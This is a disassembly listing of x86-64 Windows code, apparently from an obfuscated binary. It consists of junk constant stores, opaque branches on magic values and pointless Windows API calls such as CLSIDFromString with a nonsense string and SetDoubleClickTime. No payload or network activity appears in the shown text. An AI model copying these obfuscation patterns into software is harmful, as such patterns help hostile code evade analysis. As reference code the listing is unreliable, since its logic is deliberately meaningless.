mov word [rsp + 0x87c], ax
movabs rax, 0x713746d153053f9
mov qword [rsp + 0x4038], rax
mov byte [rsp + 0xaa], 0x51
mov dword [rsp + 0x22d8], 0x5faabd23
mov byte [rsp + 0xab], 0xcc
movabs rax, 0xcae7b5fc49e108b
mov qword [rsp + 0x4040], rax
mov byte [rsp + 0xac], 0x72
mov byte [rsp + 0xad], 0xbc
mov dword [rsp + 0x22dc], 0x67d79109
mov dword [rsp + 0x22e0], 0x2debab5f
mov byte [rsp + 0xae], 0x90
mov byte [rsp + 0xaf], 0x74
mov dword [rsp + 0x22e4], 0x3bf7d479
mov eax, 0xbec
mov word [rsp + 0x880], ax
mov dword [rsp + 0x22e8], 0x495b68f0
mov dword [rsp + 0x22ec], 0x34487fac
movabs rax, 0x15c282b0c34ca8b0
mov qword [rsp + 0x4048], rax
mov byte [rsp + 0xb0], 0x23
mov byte [rsp + 0xb1], 0x30
mov eax, 0x9cd
mov word [rsp + 0x884], ax
mov byte [rsp + 0xb2], 0x4f
movabs rax, 0x6de46f03fe79bd56
mov qword [rsp + 0x4050], rax
movabs rax, 0xf2fdaabecd51d07
mov qword [rsp + 0x4058], rax
mov eax, 0x111c
mov word [rsp + 0x888], ax
mov byte [rsp + 0xb3], 0x1c
movabs rax, 0x5830806e4c3a4ebc
mov qword [rsp + 0x4060], rax
mov eax, 0x16f5
mov word [rsp + 0x88c], ax
movabs rax, 0xf900598b62cdfa2f
mov qword [rsp + 0x4068], rax
mov eax, 0x680
mov word [rsp + 0x890], ax
movabs rax, 0x20f16d4a58b821b3
mov qword [rsp + 0x4070], rax
mov dword [rsp + 0x22f0], 0x33f42219
movabs rax, 0xbd60fd578dab13c3
mov qword [rsp + 0x4078], rax
mov dword [rsp + 0x22f4], 0xc65ef7e
movabs rax, 0x22b5c98ce1974b2f
mov qword [rsp + 0x4080], rax
movabs rax, 0x21c940418d1f51d9
mov qword [rsp + 0x4088], rax
movabs rax, 0x5936a16d128179db
mov qword [rsp + 0x4090], rax
mov byte [rsp + 0xb4], 0x7e
mov byte [rsp + 0xb5], 0xa5
mov eax, 0x2885
mov word [rsp + 0x894], ax
mov eax, 0xc85
mov word [rsp + 0x898], ax
mov dword [rsp + 0x22f8], 0x71d3d304
movabs rax, 0x784d660b7bcf8569
mov qword [rsp + 0x4098], rax
mov eax, 0x259f
mov word [rsp + 0x89c], ax
mov eax, 0xf32
mov word [rsp + 0x8a0], ax
mov dword [rsp + 0x22fc], 0x351fdb1
mov byte [rsp + 0xb6], 0x24
mov eax, 0x146e
mov word [rsp + 0x8a4], ax
mov dword [rsp + 0x2300], 0x25584630
mov dword [rsp + 0x2304], 0xf9f40a24
mov eax, 0x7fa4
mov word [rsp + 0x8a8], ax
movabs rax, 0x4f5ed9380e9d501c
mov qword [rsp + 0x40a0], rax
movabs rax, 0x7f228bfd2f62ebd
mov qword [rsp + 0x40a8], rax
mov dword [rsp + 0x2308], 0x302ae9ea
mov eax, 0xd8
mov word [rsp + 0x8ac], ax
mov eax, 0x3eb5
mov word [rsp + 0x8b0], ax
mov byte [rsp + 0xb7], 0xe2
mov eax, 0x4fd2
mov word [rsp + 0x8b4], ax
movabs rax, 0xf99ff1c3d604d6ce
mov qword [rsp + 0x40b0], rax
mov dword [rsp + 0x230c], 0x1777ac50
mov eax, 0x4063
mov word [rsp + 0x8b8], ax
movabs rax, 0xfa2659e7029be965
mov qword [rsp + 0x40b8], rax
mov dword [rsp + 0x2310], 0x3ab260c4
mov eax, 0xea8
mov word [rsp + 0x8bc], ax
mov eax, 0x6761
mov word [rsp + 0x8c0], ax
movabs rax, 0x3d8a0cd3c6e71e17
mov qword [rsp + 0x40c0], rax
movabs rax, 0x8e616bcdeb4409ea
mov qword [rsp + 0x40c8], rax
mov eax, 0x64ad
mov word [rsp + 0x8c4], ax
mov eax, 0x7c7
mov word [rsp + 0x8c8], ax
mov dword [rsp + 0x2314], 0xc9dad985
mov dword [rsp + 0x2318], 0x5f9ce88
movabs rax, 0x1d9f4fbb284b3880
mov qword [rsp + 0x40d0], rax
mov byte [rsp + 0xb8], 0x47
mov byte [rsp + 0xb9], 0x55
mov eax, 0x36d
mov word [rsp + 0x8cc], ax
movabs rax, 0x6f7254febeb5ec18
mov qword [rsp + 0x40d8], rax
mov dword [rsp + 0x231c], 0xfb5d6d00
mov dword [rsp + 0x2320], 0x890fe924
mov byte [rsp + 0xba], 0x69
movabs rax, 0x25a7474334387e01
mov qword [rsp + 0x40e0], rax
mov dword [rsp + 0x2324], 0x1e902e0c
mov eax, 0x479f
mov word [rsp + 0x8d0], ax
mov dword [rsp + 0x2328], 0x2f36f0f7
mov byte [rsp + 0xbb], 0xcb
mov byte [rsp + 0xbc], 0x26
mov dword [rsp + 0x232c], 0x6d859344
mov dword [rsp + 0x2330], 0x60f4602
mov eax, 0x5536
mov word [rsp + 0x8d4], ax
movabs rax, 0x1f055a4940d5179a
mov qword [rsp + 0x40e8], rax
mov byte [rsp + 0xbd], 0x55
mov eax, 0xc5
mov word [rsp + 0x8d8], ax
mov dword [rsp + 0x2334], 0x61099976
mov byte [rsp + 0xbe], 0x69
mov eax, 0xf4b
mov word [rsp + 0x8dc], ax
mov eax, 0x4212
mov word [rsp + 0x8e0], ax
mov byte [rsp + 0xbf], 0x27
mov byte [rsp + 0xc0], 0xd8
mov dword [rsp + 0x2338], 0x529076ff
mov eax, 0x7ce3
mov word [rsp + 0x8e4], ax
mov byte [rsp + 0xc1], 7
mov byte [rsp + 0xc2], 0x89
movabs rax, 0x596589c3f049f59d
mov qword [rsp + 0x40f0], rax
mov dword [rsp + 0x233c], 0x79be3fb1
movabs rax, 0x7b3b77102b0ae8f6
mov qword [rsp + 0x40f8], rax
mov eax, 0x127
mov word [rsp + 0x8e8], ax
mov eax, 0x78b9
mov word [rsp + 0x8ec], ax
movabs rax, 0x49b5a805f0db4cab
mov qword [rsp + 0x4100], rax
movabs rax, 0x3adf4aca1c8a9013
mov qword [rsp + 0x4108], rax
mov eax, 0x2593
mov word [rsp + 0x8f0], ax
mov eax, 0x5354
mov word [rsp + 0x8f4], ax
mov byte [rsp + 0xc3], 0x5c
mov byte [rsp + 0xc4], 0x39
mov byte [rsp + 0xc5], 0x7a
mov byte [rsp + 0xc6], 0xb6
mov eax, 0x278c
mov word [rsp + 0x8f8], ax
movabs rax, 0x3019e886d8c1fe1c
mov qword [rsp + 0x4110], rax
mov dword [rsp + 0x2340], 0x30bb6c9f
mov dword [rsp + 0x2344], 0xcff735cf
movabs rax, 0x379f5c236e5ed03e
mov qword [rsp + 0x4118], rax
movabs rax, 0x1ba05b9800d38a95
mov qword [rsp + 0x4120], rax
movabs rax, 0xc0f573e62bc1aaa2
mov qword [rsp + 0x4128], rax
mov byte [rsp + 0xc7], 0x28
mov byte [rsp + 0xc8], 0x11
movabs rax, 0x4b7a4eaca0004b7
mov qword [rsp + 0x4130], rax
mov eax, 0x1c0
mov word [rsp + 0x8fc], ax
movabs rax, 0xf2757a387b9ef217
mov qword [rsp + 0x4138], rax
mov eax, 0x23bb
mov word [rsp + 0x900], ax
mov byte [rsp + 0xc9], 0x3a
mov eax, 0x21bb
mov word [rsp + 0x904], ax
movabs rax, 0x12d6f14595c78cf7
mov qword [rsp + 0x4140], rax
mov eax, 0x939
mov word [rsp + 0x908], ax
mov byte [rsp + 0xca], 0x3c
movabs rax, 0x92ff5a98d7350ad7
mov qword [rsp + 0x4148], rax
mov eax, 0x27eb
mov word [rsp + 0x90c], ax
mov byte [rsp + 0xcb], 0xfc
mov byte [rsp + 0xcc], 0xee
movabs rax, 0x41a2a9844846de77
mov qword [rsp + 0x4150], rax
mov byte [rsp + 0xcd], 0x42
movabs rax, 0x9bf66ea54bf66e08
mov qword [rsp + 0x4158], rax
mov byte [rsp + 0xce], 0xb2
mov byte [rsp + 0xcf], 0xc
movabs rax, 0x58e6f9472b2036a8
mov qword [rsp + 0x4160], rax
movabs rax, 0x6687a507976d62ca
mov qword [rsp + 0x4168], rax
movabs rax, 0x4c320e81c99b2437
mov qword [rsp + 0x4170], rax
mov byte [rsp + 0xd0], 0x23
mov byte [rsp + 0xd1], 0xcf
mov byte [rsp + 0xd2], 0x20
mov dword [rsp + 0x2348], 0x348ee75a
mov eax, 0xfa5
mov word [rsp + 0x910], ax
mov byte [rsp + 0xd3], 0x1b
mov dword [rsp + 0x234c], 0x5022b763
movabs rax, 0x8f20c56e381eb63a
mov qword [rsp + 0x4178], rax
mov byte [rsp + 0xd4], 0x54
movabs rax, 0xc876c51969ba398d
mov qword [rsp + 0x4180], rax
mov dword [rsp + 0x2350], 0x73b6a0b8
movabs rax, 0x1a46b250b21de0bd
mov qword [rsp + 0x4188], rax
mov byte [rsp + 0xd5], 0x7b
mov byte [rsp + 0xd6], 0x35
movabs rax, 0x4daeaf12fec778e4
mov qword [rsp + 0x4190], rax
mov dword [rsp + 0x2354], 0x2de6716
mov byte [rsp + 0xd7], 0x74
mov byte [rsp + 0xd8], 1
mov byte [rsp + 0xd9], 0x76
mov eax, 0x8e3
mov word [rsp + 0x914], ax
mov byte [rsp + 0xda], 0x69
mov byte [rsp + 0xdb], 0x82
mov byte [rsp + 0xdc], 0xfe
mov eax, 0xb6c
mov word [rsp + 0x918], ax
mov byte [rsp + 0xdd], 0x3e
mov dword [rsp + 0x2358], 0x68d49a3d
mov byte [rsp + 0xde], 0x71
mov byte [rsp + 0xdf], 0x52
mov dword [rsp + 0x235c], 0x6a3d6192
mov eax, 0x4c61
mov word [rsp + 0x91c], ax
mov byte [rsp + 0xe0], 0x76
mov byte [rsp + 0xe1], 0x98
movabs rax, 0xbac276f01e1de39a
mov qword [rsp + 0x4198], rax
movabs rax, 0xbd28a32658cc8f72
mov qword [rsp + 0x41a0], rax
mov byte [rsp + 0xe2], 0x20
movabs rax, 0x2b14529a4490f13e
mov qword [rsp + 0x41a8], rax
mov eax, 0x4a8a
mov word [rsp + 0x920], ax
mov dword [rsp + 0x2360], 0x6f84ef64
movabs rax, 0x5223855e223e601
mov qword [rsp + 0x41b0], rax
mov byte [rsp + 0xe3], 0x55
mov dword [rsp + 0x2364], 0xc0e360aa
mov byte [rsp + 0xe4], 0x50
mov byte [rsp + 0xe5], 0x13
movabs rax, 0x557c31faf20e78b3
mov qword [rsp + 0x41b8], rax
mov eax, 0x3fe
mov word [rsp + 0x924], ax
mov byte [rsp + 0xe6], 0x28
movabs rax, 0x98c28a7543ed3802
mov qword [rsp + 0x41c0], rax
mov eax, 0x2ca5
mov word [rsp + 0x928], ax
movabs rax, 0x638481c1b7689fc2
mov qword [rsp + 0x41c8], rax
mov byte [rsp + 0xe7], 0x29
mov byte [rsp + 0xe8], 0x6f
mov byte [rsp + 0xe9], 0x5b
mov dword [rsp + 0x2368], 0x2163ad92
movabs rax, 0xb0b421f3beb0016c
mov qword [rsp + 0x41d0], rax
mov dword [rsp + 0x236c], 0x3d8e2933
movabs rax, 0x1ce8d3dda20782f1
mov qword [rsp + 0x41d8], rax
mov dword [rsp + 0x2370], 0x44f188c8
mov byte [rsp + 0xea], 0x71
mov byte [rsp + 0xeb], 0xfa
movabs rax, 0x7d9c7e3c131ad5db
mov qword [rsp + 0x41e0], rax
movabs rax, 0xb5e7b540ff33168c
mov qword [rsp + 0x41e8], rax
mov byte [rsp + 0xec], 0x46
mov eax, 0xbcc
mov word [rsp + 0x92c], ax
movabs rax, 0x6f22e49bb1abbf40
mov qword [rsp + 0x41f0], rax
mov rax, qword [rsp + 0x41f0]
mov qword [rsp + 0x41f8], rax
movabs rax, 0x64cd75a841ec61e
cmp qword [rsp + 0x41f8], rax
je 0x14010a5cc
movabs rax, 0x6f22e49bb1abbf40
cmp qword [rsp + 0x41f8], rax
je 0x14000334e
jmp 0x14010a609
movabs rax, 0x548bb051f5f65f33
cmp qword [rsp + 0x41f0], rax
je 0x14010a45a
movsx eax, byte [rsp + 0x55]
imul eax, eax, 0x27
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x41f0]
mov qword [rsp + 0x4200], rax
movabs rax, 0x6f22e49bb1abbf40
cmp qword [rsp + 0x4200], rax
je 0x140003398
jmp 0x1400033d5
mov byte [rsp + 0xed], 0xab
mov dword [rsp + 0x2374], 0x8b5c
lea rax, [rsp + 0x2378]
mov qword [rsp + 0x4208], rax
mov dword [rsp + 0x237c], 0x5d4e
lea rax, [rsp + 0x55]
mov qword [rsp + 0x4210], rax
jmp 0x1400033e7
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
or eax, 0x42
mov byte [rsp + 0x55], al
movsx eax, byte [rsp + 0x55]
xor eax, 0x23
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
cmp eax, ecx
jne 0x140003431
movsx eax, byte [rsp + 0x55]
sar eax, 6
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
lea rdx, [rsp + 0x19988]
lea rcx, str.Contend_recesses_percentages_clerically
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rsp + 0x2380], eax
jmp 0x14000357f
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
shl eax, 0x57
cmp eax, dword [rsp + 0x2378]
jne 0x14000357f
mov eax, dword [rsp + 0x2378]
sub eax, 0xb9c4aa52
mov rcx, qword [rsp + 0x4208]
cmp eax, dword [rcx]
ja 0x1400034c8
movsx eax, byte [rsp + 0x55]
add eax, 0x5e
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
movzx eax, byte [rsp + 0xed]
and eax, 0x15
mov byte [rsp + 0xed], al
mov eax, dword [rsp + 0x2378]
add eax, 0x2289c9fd
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov dword [rsp + 0x2378], eax
lea rdx, [rsp + 0xed]
mov ecx, 0xa8
call qword [sym.imp.ole32.dll_CoGetMalloc]
mov dword [rsp + 0x2384], eax
mov dword [rsp + 0x2388], 0x1daf
mov eax, 0x5ffd
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x41f0]
mov qword [rsp + 0x4218], rax
movabs rax, 0x1fb71159df20db65
cmp qword [rsp + 0x4218], rax
je 0x14000351a
movabs rax, 0x7146880d8b70dc94
cmp qword [rsp + 0x4218], rax
je 0x140003569
jmp 0x14000357f
mov eax, dword [rsp + 0x2378]
sub eax, 0xbb967390
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
lea r8, [rsp + 0x4220]
lea rdx, [rsp + 0x19998]
lea rcx, [rsp + 0x19988]
call qword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov dword [rsp + 0x238c], eax
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
add eax, 0x18
mov byte [rsp + 0x55], al
jmp 0x14000357f
mov eax, dword [rsp + 0x2378]
sub eax, 0xf0c47dce
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xed]
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2378]
xor ecx, eax
mov eax, ecx
mov dword [section..data], eax
movzx eax, word [rsp + 0x930]
mov word [rsp + 0x934], ax
mov rax, qword [rsp + 0x41f0]
sar rax, 0x25
mov qword [rsp + 0x41f0], rax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x2378]
shl eax, cl
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov eax, dword [section..data]
mov dword [rsp + 0x2378], eax
movsx eax, byte [rsp + 0x55]
and eax, 0x50
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x2378]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
movsx eax, word [rsp + 0x934]
sub eax, 0x36d9
mov word [rsp + 0x930], ax
mov eax, dword [rsp + 0x2378]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x2378]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x2378]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x2378]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
movabs rax, 0x5155494bf408fc2f
mov rcx, qword [rsp + 0x41f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x41f0], rax
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
sub eax, 0x48
mov byte [rsp + 0x55], al
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x2378]
shr eax, cl
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xee]
or eax, 0xce
mov byte [rsp + 0xed], al
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
xor eax, ecx
mov dword [section..data], eax
movzx eax, byte [rsp + 0xed]
shl eax, 3
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
movabs rax, 0x124875b926634198
mov rcx, qword [rsp + 0x41f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x41f0], rax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x2378]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
movsx eax, word [rsp + 0x930]
add eax, 0x2184
mov word [rsp + 0x934], ax
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
movzx eax, byte [rsp + 0xed]
and eax, 0xd0
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2388]
add eax, 0xcf
mov dword [rsp + 0x2388], eax
movabs rax, 0x44ddde548a16cabd
mov rcx, qword [rsp + 0x41f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x41f0], rax
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
sub eax, 0x4d
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov ecx, dword [section..data]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2378], eax
mov eax, dword [rsp + 0x2378]
mov rcx, qword [rsp + 0x4208]
mov qword [rsp + 0x4228], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4228]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x2378]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
shl eax, cl
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
and eax, 0x32
mov byte [rsp + 0x55], al
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x2378]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
add eax, ecx
mov dword [section..data], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x2378]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
movsx eax, word [rsp + 0x930]
sub eax, 0x6a6c
mov word [rsp + 0x934], ax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2378]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xee]
and eax, 0x58
mov byte [rsp + 0xed], al
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
cmp dword [rsp + 0x2388], 0x619b
jbe 0x1400035b9
movsx eax, word [rsp + 0x934]
mov dword [rsp + 0x2390], eax
cmp dword [rsp + 0x2390], 0x1152
je 0x140003a18
jmp 0x140003aa9
movzx eax, byte [rsp + 0xed]
or eax, 0xad
mov byte [rsp + 0xee], al
mov r8d, 0x5b
lea rdx, [rsp + 0x4210]
mov rcx, qword [rsp + 0x4230]
call qword [sym.imp.USER32.dll_InternalGetWindowText]
mov dword [rsp + 0x2394], eax
movsx eax, byte [rsp + 0x55]
add eax, 0x6e
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
mov dword [rsp + 0x2394], 0x6727996f
mov eax, dword [rsp + 0x2378]
mov ecx, dword [section..data]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
lea rdx, [rsp + 0x4208]
mov rcx, qword [rsp + 0x4238]
call qword [sym.imp.USER32.dll_GetIconInfo]
mov dword [rsp + 0x2398], eax
jmp 0x14010a359
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x239c], al
cmp byte [rsp + 0x239c], 0x10
je 0x140003b05
cmp byte [rsp + 0x239c], 0x12
je 0x140003ace
jmp 0x14010a316
movabs rax, 0x7481e1975021b6bc
mov rcx, qword [rsp + 0x41f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x41f0], rax
mov ecx, 0x92
call qword [sym.imp.USER32.dll_SetDoubleClickTime]
mov dword [rsp + 0x23a0], eax
jmp 0x14010a316
movsx eax, word [rsp + 0x930]
mov dword [rsp + 0x23a4], eax
cmp dword [rsp + 0x23a4], 0x4975
je 0x140003b23
jmp 0x140003b8d
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x2378]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
lea rdx, [rsp + 0x2378]
mov rcx, qword [rsp + 0x4240]
call qword [sym.imp.USER32.dll_DrawFocusRect]
mov dword [rsp + 0x23a8], eax
movzx eax, byte [rsp + 0xed]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x41f0]
mov r8d, 0xbd
mov edx, 0x1e
mov rcx, qword [rsp + 0x41f0]
call fcn.14010ba60
nop
jmp 0x14010a2ce
lea rax, [rsp + 0x41f0]
mov qword [rsp + 0x4248], rax
movsx eax, word [rsp + 0x930]
sub eax, 0x7fe4
movsx ecx, word [rsp + 0x934]
cmp eax, ecx
je 0x140003c96
lea rax, [rsp + 0x55]
mov qword [rsp + 0x4250], rax
mov dword [rsp + 0x23ac], 0xb9e2
mov eax, dword [rsp + 0x2378]
mov dword [rsp + 0x23b0], eax
cmp dword [rsp + 0x23b0], 0
je 0x140003c61
cmp dword [rsp + 0x23b0], 0xef5f5f16
je 0x140003bfc
jmp 0x140003c96
mov rax, qword [rsp + 0x4250]
movzx eax, byte [rax]
mov byte [rsp + 0x23b4], al
cmp byte [rsp + 0x23b4], 0xd
je 0x140003c1a
jmp 0x140003c42
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x2378]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov dword [rsp + 0x2394], 0x51a11f94
jmp 0x140003c5f
lea rdx, [rsp + 0x199a8]
mov rcx, qword [rsp + 0x4258]
call qword [sym.imp.USER32.dll_ClientToScreen]
mov dword [rsp + 0x23b8], eax
jmp 0x140003c96
lea rax, [rsp + 0x55]
mov qword [rsp + 0x4260], rax
lea rax, [rsp + 0xed]
mov qword [rsp + 0x4268], rax
mov dword [rsp + 0x23bc], 0xa884
mov eax, dword [rsp + 0x2394]
mov dword [0x140126010], eax
mov rax, qword [rsp + 0x4210]
movzx eax, byte [rax]
mov byte [rsp + 0x23c0], al
cmp byte [rsp + 0x23c0], 0x10
je 0x140003cc5
cmp byte [rsp + 0x23c0], 0x2f
je 0x14010a25e
jmp 0x14010a2aa
mov eax, dword [rsp + 0x2394]
or eax, 0x96cfd0a
cmp eax, dword [0x140126010]
jle 0x14010a1f3
mov rax, qword [rsp + 0x41f0]
mov qword [rsp + 0x4270], rax
movabs rax, 0x10efc48c9e838869
cmp qword [rsp + 0x4270], rax
je 0x140003d1a
movabs rax, 0x3396bf5586d02803
cmp qword [rsp + 0x4270], rax
je 0x140003d7f
jmp 0x140003d9a
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
mov r8d, 0x4c
mov edx, 0xd5
mov rcx, qword [rsp + 0x4278]
call qword [sym.imp.USER32.dll_CheckDlgButton]
mov dword [rsp + 0x2398], eax
mov rax, qword [rsp + 0x4248]
mov rcx, qword [rsp + 0x41f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
jmp 0x140003d9a
movsx eax, word [rsp + 0x934]
add eax, 0x4107
mov word [rsp + 0x930], ax
call fcn.14010adc0
nop
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
mov byte [rsp + 0x23c4], al
cmp byte [rsp + 0x23c4], 0x40
je 0x140003dbb
jmp 0x14010a13f
mov eax, dword [rsp + 0x2378]
mov dword [rsp + 0x23c8], eax
cmp dword [rsp + 0x23c8], 0
je 0x140003de5
cmp dword [rsp + 0x23c8], 0xbf572d7f
je 0x140003e2c
jmp 0x140003e7d
mov eax, dword [rsp + 0x2394]
mov dword [rsp + 0x23cc], eax
mov dword [rsp + 0x23d0], 0x5481
lea rax, [rsp + 0x41f0]
mov qword [rsp + 0x4280], rax
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4250]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
jmp 0x140003e7d
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23d4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov r9d, 0x2b
mov r8d, 0x1b
mov edx, 0x28
mov rcx, qword [rsp + 0x4258]
call qword [sym.imp.USER32.dll_DefWindowProcW]
mov qword [rsp + 0x4288], rax
mov ecx, dword [rsp + 0x2394]
call fcn.14010a860
nop
mov dword [rsp + 0x23d8], 0x207
cmp dword [rsp + 0x23ac], 0xb0f0
jb 0x14000428e
movzx eax, byte [rsp + 0xed]
movzx ecx, byte [rsp + 0xee]
or eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
xor eax, ecx
mov byte [rsp + 0xed], al
mov eax, dword [rsp + 0x2378]
movzx ecx, al
mov eax, dword [rsp + 0x23d4]
shr eax, cl
mov dword [section..data], eax
mov rax, qword [rsp + 0x41f0]
mov rcx, qword [rsp + 0x4280]
mov qword [rsp + 0x4290], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4290]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov dword [rsp + 0x23d4], eax
mov rax, qword [rsp + 0x4248]
mov rcx, qword [rsp + 0x4280]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x41f0], rax
mov eax, dword [rsp + 0x23cc]
mov dword [rsp + 0x2394], eax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23d4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4250]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
mov eax, dword [rsp + 0x23ac]
sub eax, 0xe5
mov dword [rsp + 0x23ac], eax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xed]
and eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x4248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x41f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2378]
mov ecx, dword [rsp + 0x23d4]
sub ecx, eax
